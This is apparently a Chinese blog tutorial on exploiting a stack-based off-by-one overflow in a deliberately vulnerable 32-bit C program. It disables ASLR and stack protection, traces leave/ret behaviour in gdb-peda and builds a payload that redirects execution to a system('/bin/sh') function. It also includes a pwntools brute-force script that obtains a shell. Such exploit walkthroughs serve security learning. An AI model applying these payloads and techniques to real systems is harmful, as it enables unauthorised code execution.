NEKO

Linux-Exploit之Off-By-One 漏洞 (基于栈)

2018/05/22

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

void sys(){
system("/bin/sh");
}

void vulnerable(char* arg){
char buf[256];
strcpy(buf,arg);
}

int main(int argc,char *argv[]){
vulnerable(argv[1]);
return 0;
}

关闭aslr:

1
neko@ubuntu:~/neko/3$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/neko/3$ gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -o crackme3.out crackme3.c

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护
-mpreferred-stack-boundary=2:4字节对齐(不加这项,实验无法成功)

gdb调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
[----------------------------------registers-----------------------------------]
EAX: 0xffffce6c --> 0x7b1ea71
EBX: 0x0
ECX: 0x71342558 ('X%4q')
EDX: 0xffffcfa4 --> 0x0
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
**EBP: 0xffffcf6c --> 0xffffcf78 --> 0x0**
ESP: 0xffffce64 --> 0xffffce6c --> 0x7b1ea71
EIP: 0x8048461 (<vulnerable+19>: call 0x8048300 <strcpy@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048457 <vulnerable+9>: push DWORD PTR [ebp+0x8]
0x804845a <vulnerable+12>: lea eax,[ebp-0x100]
0x8048460 <vulnerable+18>: push eax
=> 0x8048461 <vulnerable+19>: call 0x8048300 <strcpy@plt>
0x8048466 <vulnerable+24>: add esp,0x8
0x8048469 <vulnerable+27>: nop
0x804846a <vulnerable+28>: leave
0x804846b <vulnerable+29>: ret
Guessed arguments:
arg[0]: 0xffffce6c --> 0x7b1ea71
arg[1]: 0xffffd1ff ('a' <repeats 200 times>...)
arg[2]: 0x7b1ea71
[------------------------------------stack-------------------------------------]
0000| 0xffffce64 --> 0xffffce6c --> 0x7b1ea71
0004| 0xffffce68 --> 0xffffd1ff ('a' <repeats 200 times>...)
0008| 0xffffce6c --> 0x7b1ea71
0012| 0xffffce70 --> 0xf7ff6a94 ("symbol=%s; lookup in file=%s [%lu]\n")
0016| 0xffffce74 --> 0xffffcf20 --> 0xffffffff
0020| 0xffffce78 --> 0xf7ff49d3 ("<main program>")
0024| 0xffffce7c --> 0xf7fd4460 --> 0xf7ffd918 --> 0x0
0028| 0xffffce80 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048461 in vulnerable ()
gdb-peda$

[----------------------------------registers-----------------------------------]
EAX: 0xffffce6c ('a' <repeats 200 times>...)
EBX: 0x0
ECX: 0xffffd2f0 ('a' <repeats 15 times>)
EDX: 0xffffcf5d ('a' <repeats 15 times>)
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
**EBP: 0xffffcf6c --> 0xffffcf00 ('a' <repeats 108 times>)**
ESP: 0xffffce64 --> 0xffffce6c ('a' <repeats 200 times>...)
EIP: 0x8048466 (<vulnerable+24>: add esp,0x8)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804845a <vulnerable+12>: lea eax,[ebp-0x100]
0x8048460 <vulnerable+18>: push eax
0x8048461 <vulnerable+19>: call 0x8048300 <strcpy@plt>
=> 0x8048466 <vulnerable+24>: add esp,0x8
0x8048469 <vulnerable+27>: nop
0x804846a <vulnerable+28>: leave
0x804846b <vulnerable+29>: ret
0x804846c <main>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffce64 --> 0xffffce6c ('a' <repeats 200 times>...)
0004| 0xffffce68 --> 0xffffd1ff ('a' <repeats 200 times>...)
0008| 0xffffce6c ('a' <repeats 200 times>...)
0012| 0xffffce70 ('a' <repeats 200 times>...)
0016| 0xffffce74 ('a' <repeats 200 times>...)
0020| 0xffffce78 ('a' <repeats 200 times>...)
0024| 0xffffce7c ('a' <repeats 200 times>...)
0028| 0xffffce80 ('a' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048466 in vulnerable ()

可以看到执行完strcpy函数之后,ebp由0xffffcf78变为0xffffcf00,buf的起始地址为0xffffce6c.
观察main函数中执行leave前后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd2f0 ('a' <repeats 15 times>)
EDX: 0xffffcf5d ('a' <repeats 15 times>)
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
**EBP: 0xffffcf00 ('a' <repeats 108 times>)
ESP: 0xffffcf78 --> 0x0 **
EIP: 0x8048485 (<main+25>: leave)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048478 <main+12>: call 0x804844e <vulnerable>
0x804847d <main+17>: add esp,0x4
0x8048480 <main+20>: mov eax,0x0
=> 0x8048485 <main+25>: leave
0x8048486 <main+26>: ret
0x8048487: xchg ax,ax
0x8048489: xchg ax,ax
0x804848b: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffcf78 --> 0x0
0004| 0xffffcf7c --> 0xf7e1f637 (<__libc_start_main+247>: add esp,0x10)
0008| 0xffffcf80 --> 0x2
0012| 0xffffcf84 --> 0xffffd014 --> 0xffffd1e0 ("/home/neko/neko/3/crackme3.out")
0016| 0xffffcf88 --> 0xffffd020 --> 0xffffd300 ("XDG_VTNR=7")
0020| 0xffffcf8c --> 0x0
0024| 0xffffcf90 --> 0x0
0028| 0xffffcf94 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048485 in main ()
gdb-peda$




[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd2f0 ('a' <repeats 15 times>)
EDX: 0xffffcf5d ('a' <repeats 15 times>)
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
**EBP: 0x61616161 ('aaaa')
ESP: 0xffffcf04 ('a' <repeats 104 times>)**
EIP: 0x8048486 (<main+26>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804847d <main+17>: add esp,0x4
0x8048480 <main+20>: mov eax,0x0
0x8048485 <main+25>: leave
=> 0x8048486 <main+26>: ret
0x8048487: xchg ax,ax
0x8048489: xchg ax,ax
0x804848b: xchg ax,ax
0x804848d: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffcf04 ('a' <repeats 104 times>)
0004| 0xffffcf08 ('a' <repeats 100 times>)
0008| 0xffffcf0c ('a' <repeats 96 times>)
0012| 0xffffcf10 ('a' <repeats 92 times>)
0016| 0xffffcf14 ('a' <repeats 88 times>)
0020| 0xffffcf18 ('a' <repeats 84 times>)
0024| 0xffffcf1c ('a' <repeats 80 times>)
0028| 0xffffcf20 ('a' <repeats 76 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048486 in main ()
gdb-peda$

leave的实现过程:

  1. mov ebp,esp; //此时ebp=esp=0xffffcf00
  2. pop ebp; //此时ebp=0x61616161,esp=0xffffcf04

然后ret,跳转到esp指向的地址.

只要将0xffffcf04处的值覆盖为函数sys的plt,即可跳转到sys()函数执行.

sys的地址:

1
2
gdb-peda$ p sys
$1 = {<text variable, no debug info>} 0x804846b <sys>

偏移offset=0xffffcf04-0xffffce6c=152

1
payload="a"*152+"\x6b\x84\x04\x08"+"a"*100

实验结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ r `python -c 'print "a"*152+"\x6b\x84\x04\x08"+"a"*100'`
Starting program: /home/neko/neko/3/crackme3.out `python -c 'print "a"*152+"\x6b\x84\x04\x08"+"a"*100'`
[New process 8898]
process 8898 is executing new program: /bin/dash
[New process 8899]
process 8899 is executing new program: /bin/dash
$ id
[New process 8900]
process 8900 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ [Inferior 4 (process 8900) exited normally]

用gdb可以试验成功,但用python写脚本时却失败.

将源码改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

void sys(){
system("/bin/sh");
}

void vulnerable(char* arg){
char buf[256];
printf("%x\n",&buf);
strcpy(buf,arg);
}

int main(int argc,char *argv[]){
vulnerable(argv[1]);
return 0;
}

直接运行:

1
2
3
neko@ubuntu:~/neko/3$ python -c 'print "a"*256' | ./crackme3.out 
ffffcfac
Segmentation fault (core dumped)

用gdb调试:

1
2
3
gdb-peda$ r `python -c 'print "a"*256'`
Starting program: /home/neko/neko/3/crackme3.out `python -c 'print "a"*256'`
ffffce6c

发现二者的buf开始地址不同,怀疑是unbuntu版本问题.

于是换种思路,用Python脚本爆破.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from subprocess import call
p=process('./crackme3.out')
elf=ELF('./crackme3.out')
sys_plt=elf.symbols['sys']

print hex(sys_plt)
i=0
while 1:
i=i+1
payload='a'*i+p32(sys_plt)+'a'*(252-i)
ret=call(["./crackme3.out",payload])
print i,ret

实验结果:

1
2
3
4
5
6
7
8
9
10
100 -11
ffffce9c
101 -11
ffffce9c
102 -11
ffffce9c
103 -11
ffffce9c
$ uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

也就是i=104也就是payload='a'*104+p32(sys_plt)+'a'*148

原文作者: n3k0

发表日期: May 22nd 2018, 5:08:31

发出嘶吼: 没有魔夜2玩我要死了

CATALOG